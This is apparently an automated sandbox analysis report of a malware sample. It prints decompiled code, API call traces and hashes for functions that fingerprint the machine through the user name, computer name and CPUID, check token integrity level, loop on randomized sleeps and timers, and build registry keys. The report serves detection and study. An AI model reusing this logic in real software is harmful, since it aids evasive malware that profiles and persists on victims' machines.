0x0463ae66
0x0463ae66
0x0463ae4c
0x00000000
0x0463adf7
0x0463adfa
0x0463ae02
0x0463ae17
0x0463ae1c
0x00000000
0x00000000
0x0463ae1c
0x00000000
0x0463ae02
0x0463adf0
0x0463adeb
0x0463ad31
0x0463ad38
0x0463ad48
0x0463ad4b
0x0463ad51
0x0463ad55
0x0463ad98
0x0463ada4
0x0463adcd
0x0463ada6
0x0463adaa
0x0463adb0
0x0463adb8
0x0463adba
0x0463adbd
0x0463adc3
0x0463adc5
0x0463adc5
0x0463adb8
0x0463adaa
0x00000000
0x0463ada4
0x0463ad5d
0x0463ad60
0x0463ad67
0x0463ad77
0x0463ad7a
0x0463ad8a
0x00000000
0x0463ad90
0x0463ad71
0x0463ad75
0x00000000
0x00000000
0x00000000
0x0463ad75
0x0463ad42
0x0463ad46
0x00000000
0x00000000
0x00000000
0x0463ad46
0x0463ad1f
0x0463ad23
0x00000000
0x00000000
0x00000000

APIs

RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0463ACCE
LoadLibraryA.KERNELBASE(?), ref: 0463AD4B
GetLastError.KERNEL32 ref: 0463AD57
RaiseException.KERNEL32(C06D007E,00000000,00000001,?), ref: 0463AD8A

Strings

$, xrefs: 0463ACA3

Memory Dump Source

Source File: 00000003.00000002.495310347.0000000004631000.00000020.00000001.sdmp, Offset: 04630000, based on PE: true

Associated: 00000003.00000002.495297118.0000000004630000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.495381706.000000000463C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.495421061.000000000463D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.495461279.000000000463F000.00000002.00000001.sdmp Download File

Similarity

API ID: ExceptionRaise$ErrorLastLibraryLoad
String ID: $
API String ID: 948315288-3993045852
Opcode ID: a96eef207d19f6650ff6e34db79a9820f9cf3f1bd6322f7acdbca10d005d3de2
Instruction ID: 2abc84edd6866310482294f61ea52b4b829453797bf31651d8fc67c0f74554fc
Opcode Fuzzy Hash: a96eef207d19f6650ff6e34db79a9820f9cf3f1bd6322f7acdbca10d005d3de2
Instruction Fuzzy Hash: 1F812A75A00285AFDB10CFA8D984AAEB7F5EF58712F14802AE945E7340F7B4F905DB50

Uniqueness

Uniqueness Score: -1.00%

Function 046351B0, Relevance: 16.6, APIs: 11, Instructions: 150
timememoryCOMMON

Download Yara Rule

C-Code - Quality: 83%

			E046351B0(intOrPtr __edx, intOrPtr _a4, intOrPtr _a8) {
				struct %anon52 _v8;
				long _v12;
				char _v16;
				char _v20;
				signed int _v24;
				intOrPtr _v32;
				union _LARGE_INTEGER _v36;
				intOrPtr _v40;
				void* _v44;
				void _v88;
				char _v92;
				struct %anon52 _t46;
				intOrPtr _t51;
				long _t53;
				void* _t54;
				struct %anon52 _t60;
				long _t64;
				signed int _t65;
				long _t67;
				void* _t68;
				void* _t70;
				signed int _t71;
				intOrPtr _t73;
				intOrPtr _t76;
				void** _t78;
				void* _t80;

				_t73 = __edx;
				_v92 = 0;
				memset( &_v88, 0, 0x2c);
				_t46 = CreateWaitableTimerA(0, 1, 0);
				_v44 = _t46;
				if(_t46 == 0) {
					_v8.LowPart = GetLastError();
				} else {
					_push(0xffffffff);
					_push(0xff676980);
					_push(0);
					_push( *0x463d240);
					_v20 = 0;
					_v16 = 0;
					L0463AF2E();
					_v36.LowPart = _t46;
					_v32 = _t73;
					SetWaitableTimer(_v44,  &_v36, 0, 0, 0, 0);
					_t51 =  *0x463d26c; // 0x2cc
					_v40 = _t51;
					_t53 = WaitForMultipleObjects(2,  &_v44, 0, 0xffffffff);
					_v8.LowPart = _t53;
					if(_t53 == 0) {
						if(_a8 != 0) {
							L4:
							 *0x463d24c = 5;
						} else {
							_t68 = E04638D14(_t73); // executed
							if(_t68 != 0) {
								goto L4;
							}
						}
						_v12 = 0;
						L6:
						L6:
						if(_v12 == 1 && ( *0x463d260 & 0x00000001) == 0) {
							_v12 = 2;
						}
						_t71 = _v12;
						_t58 = _t71 << 4;
						_t76 = _t80 + (_t71 << 4) - 0x54;
						_t72 = _t71 + 1;
						_v24 = _t71 + 1;
						_t60 = E0463A376(_t72, _t76, _t72, _t80 + _t58 - 0x58, _t76,  &_v20,  &_v16); // executed
						_v8.LowPart = _t60;
						if(_t60 != 0) {
							goto L17;
						}
						_t65 = _v24;
						_v12 = _t65;
						_t90 = _t65 - 3;
						if(_t65 != 3) {
							goto L6;
						} else {
							_t67 = E046336B1(_t72, _t90,  &_v92, _a4, _a8); // executed
							_v8.LowPart = _t67;
						}
						goto L12;
						L17:
						__eflags = _t60 - 0x10d2;
						if(_t60 != 0x10d2) {
							_push(0xffffffff);
							_push(0xff676980);
							_push(0);
							_push( *0x463d244);
							goto L21;
						} else {
							__eflags =  *0x463d248; // 0x0
							if(__eflags == 0) {
								goto L12;
							} else {
								_t60 = E04636761();
								_push(0xffffffff);
								_push(0xdc3cba00);
								_push(0);
								_push( *0x463d248);
								L21:
								L0463AF2E();
								_v36.LowPart = _t60;
								_v32 = _t76;
								SetWaitableTimer(_v44,  &_v36, 0, 0, 0, 0); // executed
								_t64 = WaitForMultipleObjects(2,  &_v44, 0, 0xffffffff);
								_v8.LowPart = _t64;
								__eflags = _t64;
								if(_t64 == 0) {
									goto L6;
								} else {
									goto L12;
								}
							}
						}
						L25:
					}
					L12:
					_t78 =  &_v92;
					_t70 = 3;
					do {
						_t54 =  *_t78;
						if(_t54 != 0) {
							HeapFree( *0x463d238, 0, _t54);
						}
						_t78 =  &(_t78[4]);
						_t70 = _t70 - 1;
					} while (_t70 != 0);
					CloseHandle(_v44);
				}
				return _v8;
				goto L25;
			}

0x046351b0
0x046351c2
0x046351c5
0x046351d1
0x046351d7
0x046351dc
0x04635343
0x046351e2
0x046351e2
0x046351e4
0x046351e9
0x046351ea
0x046351f0
0x046351f3
0x046351f6
0x04635204
0x0463520f
0x04635212
0x04635214
0x04635221
0x0463522b
0x0463522d
0x04635232
0x04635237
0x04635242
0x04635242
0x04635239
0x04635239
0x04635240
0x00000000
0x00000000
0x04635240
0x0463524c
0x00000000
0x0463524f
0x04635253
0x0463525e
0x0463525e
0x04635265
0x0463526e
0x04635275
0x0463527e
0x04635281
0x04635284
0x04635289
0x0463528e
0x00000000
0x00000000
0x04635290
0x04635293
0x04635296
0x04635299
0x00000000
0x0463529b
0x046352a5
0x046352aa
0x046352aa
0x00000000
0x046352d8
0x046352d8
0x046352dd
0x046352fc
0x046352fe
0x04635303
0x04635304
0x00000000
0x046352df
0x046352df
0x046352e5
0x00000000
0x046352e7
0x046352e7
0x046352ec
0x046352ee
0x046352f3
0x046352f4
0x0463530a
0x0463530a
0x04635312
0x0463531d
0x04635320
0x0463532b
0x0463532d
0x04635330
0x04635332
0x00000000
0x04635338
0x00000000
0x04635338
0x04635332
0x046352e5
0x00000000
0x046352dd
0x046352ad
0x046352af
0x046352b2
0x046352b3
0x046352b3
0x046352b7
0x046352c1
0x046352c1
0x046352c7
0x046352ca
0x046352ca
0x046352d0
0x046352d0
0x0463534d
0x00000000

APIs

memset.NTDLL ref: 046351C5
CreateWaitableTimerA.KERNEL32(00000000,00000001,00000000), ref: 046351D1
_allmul.NTDLL(00000000,FF676980,000000FF), ref: 046351F6
SetWaitableTimer.KERNELBASE(?,?,00000000,00000000,00000000,00000000), ref: 04635212
WaitForMultipleObjects.KERNEL32(00000002,?,00000000,000000FF), ref: 0463522B
HeapFree.KERNEL32(00000000,00000000), ref: 046352C1
CloseHandle.KERNEL32(?), ref: 046352D0
_allmul.NTDLL(00000000,FF676980,000000FF,00000002), ref: 0463530A
SetWaitableTimer.KERNELBASE(?,?,00000000,00000000,00000000,00000000,00000000,FF676980,000000FF,00000002,?,?,04635D5E,?), ref: 04635320
WaitForMultipleObjects.KERNEL32(00000002,?,00000000,000000FF), ref: 0463532B

Part of subcall function 04638D14: StrToIntExW.SHLWAPI(?,00000000,?,?,004F0053,05169368,00000000,?,7519F710,00000000,7519F730), ref: 04638D63
Part of subcall function 04638D14: HeapFree.KERNEL32(00000000,00000000,?,80000001,00000000,00680043,051693A0,?,00000000,30314549,00000014,004F0053,0516935C), ref: 04638E00
Part of subcall function 04638D14: HeapFree.KERNEL32(00000000,?,?,?,?,?,?,?,0463523E), ref: 04638E12

GetLastError.KERNEL32 ref: 0463533D

Memory Dump Source

Source File: 00000003.00000002.495310347.0000000004631000.00000020.00000001.sdmp, Offset: 04630000, based on PE: true

Associated: 00000003.00000002.495297118.0000000004630000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.495381706.000000000463C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.495421061.000000000463D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.495461279.000000000463F000.00000002.00000001.sdmp Download File

Similarity

API ID: FreeHeapTimerWaitable$MultipleObjectsWait_allmul$CloseCreateErrorHandleLastmemset
String ID:
API String ID: 3521023985-0
Opcode ID: d42cdcb9772fbdfc747a9d3795ab5fcc2a699c54c261305de21b7b1af5e1320b
Instruction ID: 337a2f11b9f69f83c07c03d67e5e9170cb6372388c16cabb9c6c4a4421e2c047
Opcode Fuzzy Hash: d42cdcb9772fbdfc747a9d3795ab5fcc2a699c54c261305de21b7b1af5e1320b
Instruction Fuzzy Hash: 71514D719012A8BBDB11DF95DC44DEEBFB8EF49726F204215F911B3250E774AA44CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 0463232F, Relevance: 13.6, APIs: 9, Instructions: 72
filetimeCOMMON

Download Yara Rule

C-Code - Quality: 74%

			E0463232F(intOrPtr __edx, void** _a4, void** _a8) {
				intOrPtr _v8;
				struct _FILETIME* _v12;
				short _v56;
				struct _FILETIME* _t12;
				intOrPtr _t13;
				void* _t17;
				void* _t21;
				intOrPtr _t27;
				long _t28;
				void* _t30;

				_t27 = __edx;
				_t12 =  &_v12;
				GetSystemTimeAsFileTime(_t12);
				_push(0x192);
				_push(0x54d38000);
				_push(_v8);
				_push(_v12);
				L0463AF28();
				_push(_t12);
				_v12 = _t12;
				_t13 =  *0x463d2a8; // 0xb2a5a8
				_t5 = _t13 + 0x463e87e; // 0x5168e26
				_t6 = _t13 + 0x463e59c; // 0x530025
				_push(0x16);
				_push( &_v56);
				_v8 = _t27;
				L0463ABCA();
				_t17 = CreateFileMappingW(0xffffffff, 0x463d2ac, 4, 0, 0x1000,  &_v56); // executed
				_t30 = _t17;
				if(_t30 == 0) {
					_t28 = GetLastError();
				} else {
					if(GetLastError() == 0xb7) {
						_t21 = MapViewOfFile(_t30, 6, 0, 0, 0); // executed
						if(_t21 == 0) {
							_t28 = GetLastError();
							if(_t28 != 0) {
								goto L6;
							}
						} else {
							 *_a4 = _t30;
							 *_a8 = _t21;
							_t28 = 0;
						}
					} else {
						_t28 = 2;
						L6:
						CloseHandle(_t30);
					}
				}
				return _t28;
			}

0x0463232f
0x04632337
0x0463233b
0x04632341
0x04632346
0x0463234b
0x0463234e
0x04632351
0x04632356
0x04632357
0x0463235a
0x0463235f
0x04632366
0x04632370
0x04632372
0x04632373
0x04632376
0x04632392
0x04632398
0x0463239c
0x046323ea
0x0463239e
0x046323ab
0x046323bb
0x046323c3
0x046323d5
0x046323d9
0x00000000
0x00000000
0x046323c5
0x046323c8
0x046323cd
0x046323cf
0x046323cf
0x046323ad
0x046323af
0x046323db
0x046323dc
0x046323dc
0x046323ab
0x046323f1

APIs

GetSystemTimeAsFileTime.KERNEL32(?,00000000,00000000,?,?,?,?,?,?,?,04635C31,?,?,4D283A53,?,?), ref: 0463233B
_aulldiv.NTDLL(?,?,54D38000,00000192), ref: 04632351
_snwprintf.NTDLL ref: 04632376
CreateFileMappingW.KERNELBASE(000000FF,0463D2AC,00000004,00000000,00001000,?), ref: 04632392
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,04635C31,?,?,4D283A53), ref: 046323A4
MapViewOfFile.KERNELBASE(00000000,00000006,00000000,00000000,00000000), ref: 046323BB
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,04635C31,?,?), ref: 046323DC
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,04635C31,?,?,4D283A53), ref: 046323E4

Memory Dump Source

Source File: 00000003.00000002.495310347.0000000004631000.00000020.00000001.sdmp, Offset: 04630000, based on PE: true

Associated: 00000003.00000002.495297118.0000000004630000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.495381706.000000000463C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.495421061.000000000463D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.495461279.000000000463F000.00000002.00000001.sdmp Download File

Similarity

API ID: File$ErrorLastTime$CloseCreateHandleMappingSystemView_aulldiv_snwprintf
String ID:
API String ID: 1814172918-0
Opcode ID: 37ab34862b0ddc60ad84c14691cecf64dabec1292da327a956a4384c92fbc9fa
Instruction ID: d236c640ef3ca3d796b6146d246b8c4a87bef919056ffbed7cf8a857eac434d3
Opcode Fuzzy Hash: 37ab34862b0ddc60ad84c14691cecf64dabec1292da327a956a4384c92fbc9fa
Instruction Fuzzy Hash: E521C073600284BBE711ABA4CC45F8E37A9EB58712F100165F605E7290FB71AD058B51

Uniqueness

Uniqueness Score: -1.00%

Function 04639135, Relevance: 12.1, APIs: 8, Instructions: 103
memoryCOMMON

Download Yara Rule

C-Code - Quality: 96%

			E04639135(char __eax, void* __esi) {
				long _v8;
				char _v12;
				signed int _v16;
				signed int _v20;
				signed int _v28;
				long _t34;
				signed int _t39;
				long _t50;
				char _t59;
				intOrPtr _t61;
				void* _t62;
				void* _t64;
				char _t65;
				intOrPtr* _t67;
				void* _t68;
				void* _t69;

				_t69 = __esi;
				_t65 = __eax;
				_v8 = 0;
				_v12 = __eax;
				if(__eax == 0) {
					_t59 =  *0x463d270; // 0xd448b889
					_v12 = _t59;
				}
				_t64 = _t69;
				E0463A6CC( &_v12, _t64);
				if(_t65 != 0) {
					 *_t69 =  *_t69 ^  *0x463d2a4 ^ 0x4c0ca0ae;
				} else {
					GetUserNameW(0,  &_v8); // executed
					_t50 = _v8;
					if(_t50 != 0) {
						_t62 = RtlAllocateHeap( *0x463d238, 0, _t50 + _t50);
						if(_t62 != 0) {
							if(GetUserNameW(_t62,  &_v8) != 0) {
								_t64 = _t62;
								 *_t69 =  *_t69 ^ E04637306(_v8 + _v8, _t64);
							}
							HeapFree( *0x463d238, 0, _t62);
						}
					}
				}
				_t61 = __imp__;
				_v8 = _v8 & 0x00000000;
				GetComputerNameW(0,  &_v8);
				_t34 = _v8;
				if(_t34 != 0) {
					_t68 = RtlAllocateHeap( *0x463d238, 0, _t34 + _t34);
					if(_t68 != 0) {
						if(GetComputerNameW(_t68,  &_v8) != 0) {
							_t64 = _t68;
							 *(_t69 + 0xc) =  *(_t69 + 0xc) ^ E04637306(_v8 + _v8, _t64);
						}
						HeapFree( *0x463d238, 0, _t68);
					}
				}
				asm("cpuid");
				_t67 =  &_v28;
				 *_t67 = 1;
				 *((intOrPtr*)(_t67 + 4)) = _t61;
				 *((intOrPtr*)(_t67 + 8)) = 0;
				 *(_t67 + 0xc) = _t64;
				_t39 = _v16 ^ _v20 ^ _v28;
				 *(_t69 + 4) =  *(_t69 + 4) ^ _t39;
				return _t39;
			}

0x04639135
0x0463913d
0x04639141
0x04639144
0x04639149
0x0463914b
0x04639150
0x04639150
0x04639156
0x04639158
0x04639165
0x046391c6
0x04639167
0x0463916c
0x04639172
0x04639177
0x04639185
0x04639189
0x04639198
0x0463919f
0x046391a6
0x046391a6
0x046391b1
0x046391b1
0x04639189
0x04639177
0x046391c8
0x046391ce
0x046391d8
0x046391da
0x046391df
0x046391ee
0x046391f2
0x046391fd
0x04639204
0x0463920b
0x0463920b
0x04639217
0x04639217
0x046391f2
0x04639222
0x04639224
0x04639227
0x04639229
0x0463922c
0x0463922f
0x04639239
0x0463923d
0x04639241

APIs

GetUserNameW.ADVAPI32(00000000,?), ref: 0463916C
RtlAllocateHeap.NTDLL(00000000,?), ref: 04639183
GetUserNameW.ADVAPI32(00000000,?), ref: 04639190
HeapFree.KERNEL32(00000000,00000000,?,?,?,?,04635D20), ref: 046391B1
GetComputerNameW.KERNEL32(00000000,00000000), ref: 046391D8
RtlAllocateHeap.NTDLL(00000000,00000000), ref: 046391EC
GetComputerNameW.KERNEL32(00000000,00000000), ref: 046391F9
HeapFree.KERNEL32(00000000,00000000,?,?,?,?,04635D20), ref: 04639217

Memory Dump Source

Source File: 00000003.00000002.495310347.0000000004631000.00000020.00000001.sdmp, Offset: 04630000, based on PE: true

Associated: 00000003.00000002.495297118.0000000004630000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.495381706.000000000463C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.495421061.000000000463D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.495461279.000000000463F000.00000002.00000001.sdmp Download File

Similarity

API ID: HeapName$AllocateComputerFreeUser
String ID:
API String ID: 3239747167-0
Opcode ID: eeb8df7076ebafc6751631758a900ad3c701894aec6a88402faf936660b1e9a0
Instruction ID: f730304f0a2f75d48075b61ce48137b80674e62e2caae5bc4247a203171bd9e9
Opcode Fuzzy Hash: eeb8df7076ebafc6751631758a900ad3c701894aec6a88402faf936660b1e9a0
Instruction Fuzzy Hash: CE3139B2A00285EFEB10DFA8DD84AAEB7F9EF54302F114469E505E7250E774EE059F10

Uniqueness

Uniqueness Score: -1.00%

Function 04631A08, Relevance: 10.6, APIs: 7, Instructions: 75
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E04631A08(long* _a4) {
				long _v8;
				void* _v12;
				void _v16;
				long _v20;
				int _t33;
				void* _t46;

				_v16 = 1;
				_v20 = 0x2000;
				if( *0x463d25c > 5) {
					_v16 = 0;
					if(OpenProcessToken(0xffffffff, 0x20008,  &_v12) != 0) {
						GetTokenInformation(_v12, 0x14,  &_v16, 4,  &_v8); // executed
						_v8 = 0;
						GetTokenInformation(_v12, 0x19, 0, 0,  &_v8); // executed
						if(_v8 != 0) {
							_t46 = E0463A71F(_v8);
							if(_t46 != 0) {
								_t33 = GetTokenInformation(_v12, 0x19, _t46, _v8,  &_v8); // executed
								if(_t33 != 0) {
									_v20 =  *(GetSidSubAuthority( *_t46,  *(GetSidSubAuthorityCount( *_t46)) - 0x00000001 & 0x000000ff));
								}
								E0463A734(_t46);
							}
						}
						CloseHandle(_v12);
					}
				}
				 *_a4 = _v20;
				return _v16;
			}

0x04631a15
0x04631a1c
0x04631a23
0x04631a37
0x04631a42
0x04631a5a
0x04631a67
0x04631a6a
0x04631a6f
0x04631a7a
0x04631a7e
0x04631a8d
0x04631a91
0x04631aad
0x04631aad
0x04631ab1
0x04631ab1
0x04631ab6
0x04631aba
0x04631ac0
0x04631ac1
0x04631ac8
0x04631ace

APIs

OpenProcessToken.ADVAPI32(000000FF,00020008,00000000,00000000), ref: 04631A3A
GetTokenInformation.KERNELBASE(00000000,00000014(TokenIntegrityLevel),00000001,00000004,?,00000000), ref: 04631A5A
GetTokenInformation.KERNELBASE(00000000,00000019(TokenIntegrityLevel),00000000,00000000,?), ref: 04631A6A
CloseHandle.KERNEL32(00000000), ref: 04631ABA

Part of subcall function 0463A71F: RtlAllocateHeap.NTDLL(00000000,00000000,04635595), ref: 0463A72B

GetTokenInformation.KERNELBASE(00000000,00000019(TokenIntegrityLevel),00000000,?,?,?,?), ref: 04631A8D
GetSidSubAuthorityCount.ADVAPI32(00000000), ref: 04631A95
GetSidSubAuthority.ADVAPI32(00000000,?), ref: 04631AA5

Memory Dump Source

Source File: 00000003.00000002.495310347.0000000004631000.00000020.00000001.sdmp, Offset: 04630000, based on PE: true

Associated: 00000003.00000002.495297118.0000000004630000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.495381706.000000000463C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.495421061.000000000463D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.495461279.000000000463F000.00000002.00000001.sdmp Download File

Similarity

API ID: Token$Information$Authority$AllocateCloseCountHandleHeapOpenProcess
String ID:
API String ID: 1295030180-0
Opcode ID: 069fdcc087d9ed3ff5c5d0f9236138b28431a2a3872a49ecdd8cbcbe24c64e56
Instruction ID: 95ddd23f7b4e264c6e5098cd2358b7aab0bfb2a32a5e69522d03568dbbc0dce7
Opcode Fuzzy Hash: 069fdcc087d9ed3ff5c5d0f9236138b28431a2a3872a49ecdd8cbcbe24c64e56
Instruction Fuzzy Hash: 69215C7590028CFFEB00DFA4DC84EEEBBB9EB09706F004165F900A6290E7759E45EB60

Uniqueness

Uniqueness Score: -1.00%

Function 0463391F, Relevance: 9.2, APIs: 6, Instructions: 154memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32(?), ref: 0463395A
IUnknown_QueryInterface_Proxy.RPCRT4(?,332C4425,?), ref: 046339DD
StrStrIW.SHLWAPI(00000000,006E0069), ref: 04633A1D
SysFreeString.OLEAUT32(00000000), ref: 04633A3F

Part of subcall function 04636F3A: SysAllocString.OLEAUT32(0463C290), ref: 04636F8A

SafeArrayDestroy.OLEAUT32(00000000), ref: 04633A92
SysFreeString.OLEAUT32(00000000), ref: 04633AA1

Part of subcall function 04631AE2: Sleep.KERNELBASE(000001F4), ref: 04631B2A

Memory Dump Source

Source File: 00000003.00000002.495310347.0000000004631000.00000020.00000001.sdmp, Offset: 04630000, based on PE: true

Associated: 00000003.00000002.495297118.0000000004630000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.495381706.000000000463C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.495421061.000000000463D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.495461279.000000000463F000.00000002.00000001.sdmp Download File

Similarity

API ID: String$AllocFree$ArrayDestroyInterface_ProxyQuerySafeSleepUnknown_
String ID:
API String ID: 2118684380-0
Opcode ID: 4297a8b1e3e371862ff13c479a18a2e7c7b394611dc466768c338dc1964bbef0
Instruction ID: 708dc3d4b1844fb6cbc7b12bb188c90c621f1d7e73aa020d7e3cc378640866d9
Opcode Fuzzy Hash: 4297a8b1e3e371862ff13c479a18a2e7c7b394611dc466768c338dc1964bbef0
Instruction Fuzzy Hash: C9514E76500689AFDB11CFE8C844A9EB7B6FF88746F148429E905EB320EB35ED45CB50

Uniqueness

Uniqueness Score: -1.00%

Function 046312E5, Relevance: 9.1, APIs: 6, Instructions: 60
sleepmemorytimeCOMMON

Download Yara Rule

C-Code - Quality: 74%

			E046312E5(void* __ecx, void* __edx, intOrPtr _a4) {
				struct _FILETIME _v12;
				void* _t10;
				void* _t12;
				int _t14;
				signed int _t16;
				void* _t18;
				signed int _t19;
				unsigned int _t23;
				void* _t26;
				signed int _t33;

				_t26 = __edx;
				_push(__ecx);
				_push(__ecx);
				_t10 = HeapCreate(0, 0x400000, 0); // executed
				 *0x463d238 = _t10;
				if(_t10 != 0) {
					 *0x463d1a8 = GetTickCount();
					_t12 = E04633E69(_a4);
					if(_t12 == 0) {
						do {
							GetSystemTimeAsFileTime( &_v12);
							_t14 = SwitchToThread();
							_t23 = _v12.dwHighDateTime;
							_t16 = (_t23 << 0x00000020 | _v12.dwLowDateTime) >> 7;
							_push(0);
							_push(9);
							_push(_t23 >> 7);
							_push(_t16);
							L0463B08A();
							_t33 = _t14 + _t16;
							_t18 = E04635548(_a4, _t33);
							_t19 = 2;
							_t25 = _t33;
							Sleep(_t19 << _t33); // executed
						} while (_t18 == 1);
						if(E04634DA2(_t25) != 0) {
							 *0x463d260 = 1; // executed
						}
						_t12 = E04635BA2(_t26); // executed
					}
				} else {
					_t12 = 8;
				}
				return _t12;
			}

0x046312e5
0x046312eb
0x046312ec
0x046312f8
0x046312fe
0x04631305
0x04631315
0x0463131a
0x04631321
0x04631323
0x04631328
0x0463132e
0x04631334
0x0463133e
0x04631342
0x04631344
0x04631349
0x0463134a
0x0463134b
0x04631350
0x04631356
0x0463135f
0x04631360
0x04631365
0x0463136b
0x04631377
0x04631379
0x04631379
0x04631383
0x04631383
0x04631307
0x04631309
0x04631309
0x0463138d

APIs

HeapCreate.KERNELBASE(00000000,00400000,00000000,?,00000001,?,?,?,04634EF2,?), ref: 046312F8
GetTickCount.KERNEL32 ref: 0463130C
GetSystemTimeAsFileTime.KERNEL32(?,?,?,00000001,?,?,?,04634EF2,?), ref: 04631328
SwitchToThread.KERNEL32(?,00000001,?,?,?,04634EF2,?), ref: 0463132E
_aullrem.NTDLL(?,?,00000009,00000000), ref: 0463134B
Sleep.KERNELBASE(00000002,00000000,?,00000001,?,?,?,04634EF2,?), ref: 04631365

Memory Dump Source

Source File: 00000003.00000002.495310347.0000000004631000.00000020.00000001.sdmp, Offset: 04630000, based on PE: true

Associated: 00000003.00000002.495297118.0000000004630000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.495381706.000000000463C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.495421061.000000000463D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.495461279.000000000463F000.00000002.00000001.sdmp Download File

Similarity

API ID: Time$CountCreateFileHeapSleepSwitchSystemThreadTick_aullrem
String ID:
API String ID: 507476733-0
Opcode ID: 093feacedc84cd86e627b2b8ed986ac2961040a725ee3d9e00591a73ddc7e891
Instruction ID: c69747eccb7dbaef7945130bd393d0a801f9e3f1065f76c900217eea5e184ac2
Opcode Fuzzy Hash: 093feacedc84cd86e627b2b8ed986ac2961040a725ee3d9e00591a73ddc7e891
Instruction Fuzzy Hash: 9B11A572A44381BFF710AB64DC19B5A7B98DB45357F004519FA85D7280FBB5FC008665

Uniqueness

Uniqueness Score: -1.00%

Function 0463853F, Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 167
stringCOMMON

Download Yara Rule

C-Code - Quality: 88%

			E0463853F(void* __ecx, char* _a8, char _a16, intOrPtr* _a20, char _a24) {
				signed int _v8;
				char _v12;
				signed int* _v16;
				char _v284;
				void* __esi;
				char* _t59;
				intOrPtr* _t60;
				void* _t62;
				intOrPtr _t64;
				char _t65;
				void* _t67;
				intOrPtr _t68;
				intOrPtr _t69;
				intOrPtr _t71;
				void* _t73;
				signed int _t81;
				void* _t91;
				void* _t92;
				char _t98;
				signed int* _t100;
				intOrPtr* _t101;
				void* _t102;

				_t92 = __ecx;
				_v8 = _v8 & 0x00000000;
				_t98 = _a16;
				if(_t98 == 0) {
					__imp__( &_v284,  *0x463d33c);
					_t91 = 0x80000002;
					L6:
					_t59 = E04639070( &_v284,  &_v284);
					_a8 = _t59;
					if(_t59 == 0) {
						_v8 = 8;
						L29:
						_t60 = _a20;
						if(_t60 != 0) {
							 *_t60 =  *_t60 + 1;
						}
						return _v8;
					}
					_t101 = _a24;
					_t62 = E04636E98(_t92, _t97, _t101, _t91, _t59); // executed
					if(_t62 != 0) {
						L27:
						E0463A734(_a8);
						goto L29;
					}
					_t64 =  *0x463d278; // 0x5169a98
					_t16 = _t64 + 0xc; // 0x5169b66
					_t65 = E04639070(_t64,  *_t16);
					_a24 = _t65;
					if(_t65 == 0) {
						L14:
						_t29 = _t101 + 0x14; // 0x102
						_t33 = _t101 + 0x10; // 0x3d0463c0, executed
						_t67 = E046322F1(_t97,  *_t33, _t91, _a8,  *0x463d334,  *((intOrPtr*)( *_t29 + 0x28)),  *((intOrPtr*)( *_t29 + 0x2c))); // executed
						if(_t67 == 0) {
							_t68 =  *0x463d2a8; // 0xb2a5a8
							if(_t98 == 0) {
								_t35 = _t68 + 0x463ea3f; // 0x4d4c4b48
								_t69 = _t35;
							} else {
								_t34 = _t68 + 0x463e8e7; // 0x55434b48
								_t69 = _t34;
							}
							if(E04636C38(_t69,  *0x463d334,  *0x463d338,  &_a24,  &_a16) == 0) {
								if(_t98 == 0) {
									_t71 =  *0x463d2a8; // 0xb2a5a8
									_t44 = _t71 + 0x463e846; // 0x74666f53
									_t73 = E04639070(_t44, _t44);
									_t99 = _t73;
									if(_t73 == 0) {
										_v8 = 8;
									} else {
										_t47 = _t101 + 0x10; // 0x3d0463c0
										E04635D7D( *_t47, _t91, _a8,  *0x463d338, _a24);
										_t49 = _t101 + 0x10; // 0x3d0463c0
										E04635D7D( *_t49, _t91, _t99,  *0x463d330, _a16);
										E0463A734(_t99);
									}
								} else {
									_t40 = _t101 + 0x10; // 0x3d0463c0, executed
									E04635D7D( *_t40, _t91, _a8,  *0x463d338, _a24); // executed
									_t43 = _t101 + 0x10; // 0x3d0463c0
									E04635D7D( *_t43, _t91, _a8,  *0x463d330, _a16);
								}
								if( *_t101 != 0) {
									E0463A734(_a24);
								} else {
									 *_t101 = _a16;
								}
							}
						}
						goto L27;
					}
					_t21 = _t101 + 0x10; // 0x3d0463c0, executed
					_t81 = E04638BC1( *_t21, _t91, _a8, _t65,  &_v16,  &_v12); // executed
					if(_t81 == 0) {
						_t100 = _v16;
						if(_v12 == 0x28) {
							 *_t100 =  *_t100 & _t81;
							_t26 = _t101 + 0x10; // 0x3d0463c0
							E046322F1(_t97,  *_t26, _t91, _a8, _a24, _t100, 0x28);
						}
						E0463A734(_t100);
						_t98 = _a16;
					}
					E0463A734(_a24);
					goto L14;
				}
				if(_t98 <= 8 || _t98 + 0x2a >= 0x104 || StrChrA(_a8, 0x5f) != 0) {
					goto L29;
				} else {
					_t97 = _a8;
					E0463A749(_t98, _a8,  &_v284);
					__imp__(_t102 + _t98 - 0x117,  *0x463d33c);
					 *((char*)(_t102 + _t98 - 0x118)) = 0x5c;
					_t91 = 0x80000003;
					goto L6;
				}
			}

0x0463853f
0x04638548
0x0463854f
0x04638554
0x046385c1
0x046385c7
0x046385cc
0x046385d3
0x046385d8
0x046385dd
0x04638748
0x0463874f
0x0463874f
0x04638754
0x04638756
0x04638756
0x0463875f
